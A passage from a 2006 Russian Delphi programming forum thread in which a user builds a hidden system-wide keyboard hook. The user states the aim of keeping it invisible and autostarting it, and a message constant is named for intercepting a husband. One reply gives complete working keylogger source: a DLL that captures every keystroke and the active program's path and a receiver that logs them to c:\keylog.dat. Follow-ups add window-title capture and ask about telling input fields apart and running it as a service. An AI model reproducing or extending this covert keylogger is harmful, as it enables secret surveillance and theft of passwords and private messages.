Текущий архив: 2006.09.03;
Скачать: CL | DM;

Вниз

Запись в текстовый файл   Найти похожие ветки 

← →
Slym ©   (2006-07-27 12:05) [40]

tesseract ©   (27.07.06 10:46) [39]
Но ты подходил с позиции прокисшего хендла, а я с позиции незащищенного многопоточного доступа к неразделяемому ресурсу

---

← →
tesseract ©   (2006-07-27 12:09) [41]

> Slym ©   (27.07.06 12:05) [40]


Если не три клавы, то наверное проблем быть не должно.
Хотя кто знает. открыть можно для совместной записи :-)

---

← →
Tanya   (2006-07-27 13:07) [42]

Попробовала передавать в программу сообщением, так вот хендл окна программы тоже получается что хранится в глобальной переменной..((( Так как я сделала не работает..((( Мастера подскажите пожалуйста что не так:

Библиотека:

var
 SysHook: HHook = 0;
 RecHandle: Hwnd = 0;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: array[0..MAX_PATH-1] of Char;
 KeyBS: TKeyboardState;
 pTransChar : PChar;
begin
 if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
   begin
     GetKeyBoardState(KeyBS);
     GetMem(pTransChar, 3);
     ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));

     GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));

     SendMessage(RecHandle, WM_COPYDATA, 0, Longint(pTransChar));

     FreeMem(pTransChar);
     Result := 0;
   end
 else
   Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook(AppHandle: Hwnd); export; stdcall;
begin
 RecHandle := AppHandle;
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;


Программа:

private
   procedure WMCopyData(var Message: TWMCOPYDATA); message WM_COPYDATA;
...

procedure TForm1.WMCopyData(var Message: TWMCOPYDATA);
var
 sText: PChar;
begin
 StrLCopy(sText, Message.CopyDataStruct.lpData, Message.CopyDataStruct.cbData);
 Memo1.Lines.Add(sText);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 if Button1.Caption = "Run" then
   begin
     Button1.Caption := "Stop";
     RunHook(Form1.Handle);
   end
 else
   if Button1.Caption = "Stop" then
     begin
       StopHook;
       Button1.Caption := "Run";
     end;
end;


---

← →
Чапаев ©   (2006-07-27 13:11) [43]

> Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто
> хочу сделать ее незаметной, функции из библиотеки прописать
> на события запуска и выключения Windows-а в реестре..

Зачем велосипед изобретать? System log давно придуман и успешно действует...

Ещё я бы смотрел в сторону App_InitDLL, хотя это и жестоко. ;-)

---

← →
Чапаев ©   (2006-07-27 13:12) [44]

А с записью в файл изнутри хука таки були проблемы... В их причинах так и не разобрался.

---

← →
tesseract ©   (2006-07-27 13:20) [45]

забыл про эту фишку.

заводишь новое сообщение WM_HUSBAND_INTERCEPT=WM_USER+117 например,  и вместо хэндла окна шлёшь  на  HWND_BROADCAST.

Остальные приложения твоё сообщение проигнорируют.

---

← →
Tanya   (2006-07-27 13:26) [46]

Идею поняла, а вот это сообщение:

const
 WM_HUSBAND_INTERCEPT=WM_USER+117;


и в программе и в библиотеке прописать как константа?

---

← →
Чапаев ©   (2006-07-27 13:30) [47]

> Tanya   (27.07.06 13:26) [46]

Вообще-то лучше вызывать RegisterWindow[s]Message().

---

← →
Tanya   (2006-07-27 13:35) [48]

Я не очень понимаю как обрабатывать это сообщение в программе, как вытащить из сообщения текст?

Передача в библиотеке:

SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, Longint(pTransChar));


Прием в программе:

private
 procedure WMHusbandIntercept(var Message: TMessage); message WM_HUSBAND_INTERCEPT;
...

procedure TForm1.WMHusbandIntercept(var Message: TMessage);
var
 sText: PChar;
begin
 ?????????????????????????????
 Memo1.Lines.Add(sText);
end;


---

← →
Чапаев ©   (2006-07-27 13:38) [49]

> procedure TForm1.WMHusbandIntercept(var Message: TMessage);
>
> var
>  sText: PChar;
> begin
>  ?????????????????????????????
>  Memo1.Lines.Add(sText);
> end;

sText:=PChar(Message.LParam);
Только имхо работать не будет.

---

← →
Tanya   (2006-07-27 13:41) [50]

Правда не работает...(((

---

← →
Чапаев ©   (2006-07-27 13:48) [51]

> Правда не работает...(((

Указатели между программой и библиотекой передавать не удастся. Точнее, не удастся с ними работать. ;-) Или используй сообщение WM_COPYDATA, или смотри в сторону file mapping.

---

← →
Tanya   (2006-07-27 13:49) [52]

Чапаев, это из за того что RegisterWindow[s]Message() не используем? Или из за чего?

---

← →
tesseract ©   (2006-07-27 13:49) [53]

> Чапаев ©   (27.07.06 13:48) [51]


ShareMem - надо использовать системную память.

---

← →
Tanya   (2006-07-27 13:50) [54]

Чапаев, посмотри пожалуйста, я писала выше код с использованием WM_COPYDATA, может я не правильно что-то там сделала? Но тоже не работало...(((

---

← →
Чапаев ©   (2006-07-27 13:51) [55]

> tesseract ©   (27.07.06 13:49) [53]

Шъйорт побьеры. Туплю.


> Чапаев, это из за того что RegisterWindow[s]Message() не
> используем?

Нет, это не коррелируется. :-)

---

← →
Tanya   (2006-07-27 13:52) [56]

ShareMem еще какой-то... Вообще темный лес... Ну и запути же вы меня...)))

---

← →
Tanya   (2006-07-27 13:53) [57]

*запутали )))

---

← →
Чапаев ©   (2006-07-27 13:57) [58]

> Tanya   (27.07.06 13:50) [54]

Конечно неправильно. В LParam нужно передавать указатель на COPYDATASTRUC, а ты передаёшь просто PChar.


> ShareMem еще какой-то

Впиши ShareMem первым в список uses приложения и библиотеки.

---

← →
Tanya   (2006-07-27 13:59) [59]

А как передавать этот COPYDATASTRUC? впервый раз вообще слышу...

---

← →
Чапаев ©   (2006-07-27 14:04) [60]

var
 CDS:TCopyDataStruct;
 Txt:PChar;
...
begin
...
 CDS.cbData:=StrLen(Txt); //или StrLen(Txt)+1?
 CDS.lpData:=Txt;
 SendMessage(xxx,xxx,xxx,LPARAM(@CDS));
end;

---

← →
Tanya   (2006-07-27 14:11) [61]

А передавать COPYDATASTRUC в каком сообщении, в WM_COPYDATA или в WM_HUSBAND_INTERCEPT? А то я что-то запуталась уже.. И хендл программы HWND_BROADCAST или всетаки передавать его в функции RunHook?

---

← →
Чапаев ©   (2006-07-27 14:16) [62]

> А передавать COPYDATASTRUC в каком сообщении, в WM_COPYDATA
> или в WM_HUSBAND_INTERCEPT?

Нет. Передача COPYDATASTRUCT -- не панацея.


> И хендл программы HWND_BROADCAST или всетаки передавать
> его в функции RunHook?

Э... Ты таки запуталась.

---

← →
Tanya   (2006-07-27 14:19) [63]

Я правильно поняла?

const
 WM_HUSBAND_INTERCEPT=WM_USER+117;
...

SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, LPARAM(@CDS));


---

← →
Чапаев ©   (2006-07-27 14:33) [64]

> SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, LPARAM(@CDS));

Примерно так, но COPYDATASTRUCT в данном случае неуместно.

---

← →
Tanya   (2006-07-27 15:41) [65]

М... а что уместно? )))

---

← →
Tanya   (2006-07-27 15:45) [66]

ошибка на "собаке" (@) в строке SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, LPARAM(@CDS));

[Error] MyLib.dpr(32): Missing operator or semicolon

---

← →
Tanya   (2006-07-27 16:17) [67]

Мастера, подскажите пожалуйста, уже второй день не могу это сделать..(((

---

← →
tesseract ©   (2006-07-27 16:27) [68]

гм не обязательно CopyDataStruct - она стандартизирована для WM_COPYDATA.

Можешь в принципе передать любые данные по ссылке через wparam/lparam.

например ссылку на строку или PChar.

Если хочешь передать только одну или две буквы - так вообще ничего не надо делать - передай их как код через wparam/lparam и никаких тормозных sharemem.

---

← →
Tanya   (2006-07-27 16:38) [69]

tesseract, ведь для посылки WM_COPYDATA нужно знать хендл приложения, который "прокисает" хранясь в глобальной переменной(передается тогда в функции RunHook)... Вот что делать? Посылать тогда всем приложениям сообщение, т.е. HWND_BROADCAST?

---

← →
tesseract ©   (2006-07-27 16:40) [70]

см 68. возможно тебе хватит и 64 бит :-)

---

← →
Tanya   (2006-07-27 16:44) [71]

Не всегда по буковке хотелось бы передавать... еще в будущем хочу сделать путь к exe-файлу программы, в котором вводится все это и заголовок окна(передаваться все это тоже будет)

---

← →
tesseract ©   (2006-07-27 16:50) [72]

> Tanya   (27.07.06 16:44) [71]


Это можно перехватить и из сторонней программы, по получению сообщения - GetForeGroundWindow :-)

---

← →
Tanya   (2006-07-27 17:17) [73]

Что-то я совсем расстроилась...((( Не ловит программа сообщение и все, хоть ты тресни...((( И так HWND_BROADCAST пробавала, и хендл окна программы передать в библиотеку пыталась... Не ловит и все... В программе сделала для наглядности вызов функции ShowMessage, так вот она нивкаком случае не выскакивает...(((

---

← →
tesseract ©   (2006-07-27 17:41) [74]

> Tanya   (27.07.06 17:17) [73]


не ловит какое сообщение?

---

← →
Джо ©   (2006-07-27 19:13) [75]

Вот небольшой пример на основе твоего кода. Он только дополнен посылкой/обработкой сообшения и совсем чуть-чуть исправлен. На более расширенный пример нет времени.

--- Главная программа
unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls;

type
 // Класс главной формы должен иметь
 // именно такое название! (см. константу в SharedUnit).
 TCharLogReceiver = class(TForm)
   Button1: TButton;
   procedure Button1Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
 private
   FTextFile: TextFile;
   procedure Log (const S: string);
   procedure WmCopyData (var Msg: TMessage); message WM_COPYDATA;
 public
   { Public declarations }
 end;

var
 CharLogReceiver: TCharLogReceiver;

procedure RunHook; stdcall; external "MyLib.dll" index 1;
procedure StopHook; stdcall; external "MyLib.dll" index 2;

implementation

uses SharedUnit;

{$R *.dfm}

const
 LogFileName = "c:\keylog.dat";

procedure TCharLogReceiver.Button1Click(Sender: TObject);
begin
if Button1.Caption = "Run" then
  begin
    Button1.Caption := "Stop";
    RunHook;
  end
else
  if Button1.Caption = "Stop" then
    begin
      StopHook;
      Button1.Caption := "Run";
    end;
end;

procedure TCharLogReceiver.WmCopyData(var Msg: TMessage);
var
 Struc: COPYDATASTRUCT;
 AData: THookData;
begin
 Struc := PCopyDataStruct (Msg.LParam)^;
 TranslateData(Struc,AData);
 Log (AData.ModuleFileName);
 Log (AData.Chr);
 Msg.Result := 1;
end;

procedure TCharLogReceiver.FormCreate(Sender: TObject);
begin
 AssignFile(FTextFile, LogFileName);
 if FileExists(LogFileName) then
   Append(FTextFile)
 else
    Rewrite(FTextFile);
end;

procedure TCharLogReceiver.FormDestroy(Sender: TObject);
begin
 CloseFile (FTextFile)
end;

procedure TCharLogReceiver.Log(const S: string);
begin
 WriteLn (FTextFile,S);
end;

end.


--- Библиотека


library MyLib;

uses
 Windows,
 Messages,
 SysUtils,
 SharedUnit in "SharedUnit.pas";

var
SysHook: HHook = 0;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: TMaxPathString;
 KeyBS: TKeyboardState;
 pTransChar : PChar;
 Data: THookData;
begin

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyBoardState(KeyBS);
    GetMem(pTransChar, 3);
    ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));
    GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));

    Data.Chr := pTransChar^;
    Data.ModuleFileName := ModuleFileName;
    SendData(Data);

    FreeMem(pTransChar);
    Result := 0;
  end
else
  Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook; export; stdcall;
begin
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;

procedure StopHook; export; stdcall;
begin
 UnHookWindowsHookEx(SysHook);
 SysHook := 0;

end;

exports
 RunHook index 1,
 StopHook index 2;

end.



--- Общий модуль, используется как в библиотеке, так и в главной программе.


unit SharedUnit;

interface
uses Windows, Messages;

const
 ReceiverWindowClassName = "TCharLogReceiver";
 
type
 TMaxPathString =  array [0..MAX_PATH] of Char;
 
 THookData = packed record
   Chr: Char;
   ModuleFileName: TMaxPathString;
 end;

 PHookData = ^THookData;

function SendData (AData: THookData): Boolean;

procedure TranslateData (DataStruc: COPYDATASTRUCT; var AData: THookData);

implementation

function SendData (AData: THookData): Boolean;
var
 H: HWND;
 _Data: COPYDATASTRUCT;
begin
 Result := False;
 H := FindWindow(ReceiverWindowClassName,nil);
 if H <> 0 then
 begin
   _Data.dwData := 0;
   _Data.cbData := SizeOf(THookData);
   _Data.lpData := @AData;
   Result := SendMessage (H,WM_COPYDATA,0,Integer(@_Data)) <> 0;
 end;
end;

procedure TranslateData (DataStruc: COPYDATASTRUCT; var AData: THookData);
var
 PData: PHookData;
begin
 PData := DataStruc.lpData;
 AData.Chr := PData^.Chr;
 Move (PData^.ModuleFileName, AData.ModuleFileName, SizeOf(AData.ModuleFileName));
end;

end.


Думаю, что, несмотря на его небрежность, код достаточно прост для понимания и без комментариев. :)

---

← →
Джо ©   (2006-07-27 19:14) [76]

П.С. Практический совет. В главной программе периодически стоит делать текстовому файлу Flush, для реальной записи изменений на диск. Например, по таймеру или в процедуре Log раз в N-е кол-во записей.

---

← →
Tanya   (2006-07-28 13:15) [77]

Джо, спасибо большое! Чмок тебя в носик )))

---

← →
Tanya   (2006-08-01 17:00) [78]

У меня все получилось, работает все хорошо, заголовок окна я так определяю:

var
FormCaption: TMaxPathString;
...

GetWindowText(GetForegroundWindow, FormCaption, SizeOf(FormCaption));


Все работает хорошо, но у меня возник еще один вопрос. Наприер если на форме будет много полей ввода, как их различать? Я думаю по хендлу... Вот как можно определить хендл не окна а поля ввода?

---

← →
Джо ©   (2006-08-01 17:06) [79]

> Вот как можно определить хендл не окна а поля ввода?

EnumChildWindows?

---

← →
Tanya   (2006-08-01 17:13) [80]

Попробую разобраться с этой функцией, а еще я хотела спросить.. Джо, в твоем примере мы передаем сообщение форме, которая имеет класс "TCharLogReceiver", а если это будет не форма и не программа а сервис? Если сервис будет иметь такое название класса, будут до него доходить сообщения?

---

Страницы: 1 2 3 вся ветка

Текущий архив: 2006.09.03;
Скачать: CL | DM;

Наверх

Память: 0.64 MB
Время: 0.045 c